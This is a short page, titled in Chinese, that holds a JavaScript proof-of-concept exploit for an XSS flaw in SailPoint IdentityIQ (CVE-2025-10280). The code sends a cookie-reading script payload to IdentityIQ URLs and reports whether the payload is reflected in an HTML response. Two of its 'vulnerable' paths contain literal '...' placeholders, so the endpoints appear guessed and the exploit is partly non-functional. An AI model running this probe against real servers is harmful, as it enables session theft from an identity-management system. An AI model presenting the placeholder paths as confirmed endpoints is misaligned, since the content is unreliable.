CVE-2025-10280 IdentityIQ错误Content-Type导致跨站脚本漏洞

// CVE-2025-10280 PoC - IdentityIQ XSS via Content-Type Misconfiguration // Target: SailPoint IdentityIQ < 8.3p5, < 8.4p4, < 8.5 const axios = require('axios'); async function exploitCVE202510280(targetUrl) { console.log('[*] CVE-2025-10280 IdentityIQ XSS Exploit'); console.log(`[*] Target: ${targetUrl}`); // Malicious JavaScript payload for XSS const xssPayload = '<script>alert(document.cookie)</script>'; const encodedPayload = encodeURIComponent(xssPayload); // Known vulnerable endpoint patterns (example paths) const vulnerablePaths = [ '/identityiq/ui/index.html?param=' + encodedPayload, '/identityiq/webservices/.../vulnerable/endpoint?input=' + encodedPayload, '/identityiq/iiq/.../path/that/sets/html/content/type?data=' + encodedPayload ]; for (const path of vulnerablePaths) { try { console.log(`[*] Testing path: ${path}`); const response = await axios.get(targetUrl + path, { headers: { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-10280-Test)', 'Accept': 'text/html,application/xhtml+xml' }, timeout: 10000 }); // Check if Content-Type is incorrectly set to HTML const contentType = response.headers['content-type']; console.log(`[*] Content-Type: ${contentType}`); if (contentType && contentType.includes('text/html')) { console.log('[+] Potential vulnerability detected!'); console.log(`[+] Content-Type is text/html for non-HTML endpoint`); // Check if payload appears in response if (response.data.includes(xssPayload)) { console.log('[+] XSS payload reflected in response'); console.log('[+] Vulnerability confirmed!'); return true; } } } catch (error) { console.log(`[-] Error testing path: ${error.message}`); } } console.log('[*] Exploit completed'); return false; } // Example usage // exploitCVE202510280('https://vulnerable-identityiq-server.com');